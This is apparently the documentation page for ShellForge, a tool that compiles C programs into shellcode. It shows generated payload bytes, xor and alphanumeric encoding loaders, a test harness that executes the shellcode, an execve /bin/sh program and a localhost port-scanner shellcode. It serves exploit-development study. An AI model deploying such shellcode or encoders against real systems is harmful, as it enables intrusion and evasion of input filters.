hg clone http://hg.secdev.org/shellforgeYou'll need the ShellForge Library. Get the latest version of the SFlib generator :
hg clone http://hg.secdev.org/sfliband generate a ShellForge Library :
./gensflib.py -d /path/of/my/choice/sflib
Some wrapper functions arround system calls are defined in header files. The C program uses them instead of libc calls. ShellForge uses gcc to convert it into assembler. It then modifies it a bit, compiles it, extract code from the object, may encode it and add a loader at the begining.
The available loaders are, for the moment :
Future evolutions :
#include "include/sfsyscall.h" int main(void) { char buf[] = "Hello world!\n"; write(1, buf, sizeof(buf)); exit(0); } |
We can have the raw shellcode :
$ ./shellforge.py hello.c ** Compiling hello.c ** Tuning original assembler code ** Assembling modified asm ** Retrieving machine code ** Computing xor encryption key ** Shellcode forged! \x55\x89\xe5\x83\xec\x24\x53\xe8\x00\x00\x00\x00\x5b\x83\xc3\xf4\x8b\x83\x67\x00 \x00\x00\x89\x45\xf0\x8b\x83\x6b\x00\x00\x00\x89\x45\xf4\x8b\x83\x6f\x00\x00\x00 \x89\x45\xf8\x0f\xb7\x83\x73\x00\x00\x00\x66\x89\x45\xfc\x8d\x4d\xf0\xba\x0e\x00 \x00\x00\xb8\x04\x00\x00\x00\xc7\x45\xec\x01\x00\x00\x00\x53\x8b\x59\xfc\xcd\x80 \x5b\xb8\x01\x00\x00\x00\xc7\x45\xec\x00\x00\x00\x00\x53\x8b\x59\xfc\xcd\x80\x5b \x5b\xc9\xc3\x48\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x21\x0a\x00 |
We can test it :
$ ./shellforge.py -tt hello.c ** Compiling hello.c ** Tuning original assembler code ** Assembling modified asm ** Retrieving machine code ** Computing xor encryption key ** Shellcode forged! ** Compiling test program ** Running test program Hello world! ** Test done! Returned status=0 |
We can have the shellcode ready for C inclusion :
$ ./shellforge.py -v0 -C hello.c unsigned char shellcode[] = "\x55\x89\xe5\x83\xec\x24\x53\xe8\x00\x00\x00\x00\x5b\x83\xc3\xf4\x8b\x83\x67" "\x00\x00\x00\x89\x45\xf0\x8b\x83\x6b\x00\x00\x00\x89\x45\xf4\x8b\x83\x6f\x00" "\x00\x00\x89\x45\xf8\x0f\xb7\x83\x73\x00\x00\x00\x66\x89\x45\xfc\x8d\x4d\xf0" "\xba\x0e\x00\x00\x00\xb8\x04\x00\x00\x00\xc7\x45\xec\x01\x00\x00\x00\x53\x8b" "\x59\xfc\xcd\x80\x5b\xb8\x01\x00\x00\x00\xc7\x45\xec\x00\x00\x00\x00\x53\x8b" "\x59\xfc\xcd\x80\x5b\x5b\xc9\xc3\x48\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64" "\x21\x0a\x00"; int main(void) { ((void (*)())shellcode)(); } |
We can use an xor loader to avoid \x00 bytes in the shellcode
$ ./shellforge.py -v0 -x hello.c \xeb\x0d\x5e\x31\xc9\xb1\x75\x80\x36\x02\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff \x57\x8b\xe7\x81\xee\x26\x51\xea\x02\x02\x02\x02\x59\x81\xc1\xf6\x89\x81\x65\x02 \x02\x02\x8b\x47\xf2\x89\x81\x69\x02\x02\x02\x8b\x47\xf6\x89\x81\x6d\x02\x02\x02 \x8b\x47\xfa\x0d\xb5\x81\x71\x02\x02\x02\x64\x8b\x47\xfe\x8f\x4f\xf2\xb8\x0c\x02 \x02\x02\xba\x06\x02\x02\x02\xc5\x47\xee\x03\x02\x02\x02\x51\x89\x5b\xfe\xcf\x82 \x59\xba\x03\x02\x02\x02\xc5\x47\xee\x02\x02\x02\x02\x51\x89\x5b\xfe\xcf\x82\x59 \x59\xcb\xc1\x4a\x67\x6e\x6e\x6d\x22\x75\x6d\x70\x6e\x66\x23\x08\x02 |
We can use an alpha loader to have an almost alphanumeric shellcode (give me some more time to get rid of the two last non alphanumeric bytes)
$ ./shellforge.py -v0 -R --loader=alpha hello.c hAAAAX5AAAAHPPPPPPPPah0B20X5Tc80Ph0504X5GZBXPh445AX5XXZaPhAD00X5wxxUPTYII19hA000 X5sOkkPTYII19h0000X5cDi3PTY19I19I19I19h0000X50000Ph0A0AX50yuRPTY19I19I19I19h0000 X5w100PTYIII19h0A00X53sOkPTYI19h0000X50cDiPTYI19I19hA000X5R100PTYIII19h00A0X500y uPTYI19I19h0000X50w40PTYII19I19h0600X5u800PTYIII19h0046X53By9PTY19I19I19h0000X50 VFuPTYI19I19h0000X5LC00PTYIII19h0060X5u79xPTY19I19I19I19h0000X5000FPTY19I19h2005 X59DLZPTYI19h0000X500FuPTYI19I19h0010X5DLZ0PTYII19h0006X50Fu9PTY19I19I19I19h0000 X5LW00PTYIII19h0D20X5Lx9DPTY19h0000X5000kPhA0A0X5ecV0PTYI19I19h0B0AX5FXLRPTY19h5 550X5ZZZePTYI19яд |
The classic exec /bin/sh :
#include "include/sfsyscall.h" int main(void) { char *a[] = {"/bin/sh", 0}; execve(a[0], a, 0); } |
More complex example : to make a shellcode that scans ports of localhost :
#include "include/sfsyscall.h" #include "include/sfsocket.h" #define FIRST 1 #define LAST 1024 int main(void) { struct sockaddr_in sa; int s,i; char buf[1024]; sa.sin_family = PF_INET; sa.sin_addr.s_addr = 0x0100007f; i=FIRST-1; write(1,"begin [",8); reopen: if ((s = socket(PF_INET, SOCK_STREAM, 0)) < 0) write(1,"erreur\n",7); while(++i < LAST) { sa.sin_port = htons(i); if (connect(s, (struct sockaddr *)&sa, sizeof(struct sockaddr)) == 0) { write(1, &i, sizeof(i)); close(s); goto reopen; } } write(1,"]end",4); close(1); exit(0); } |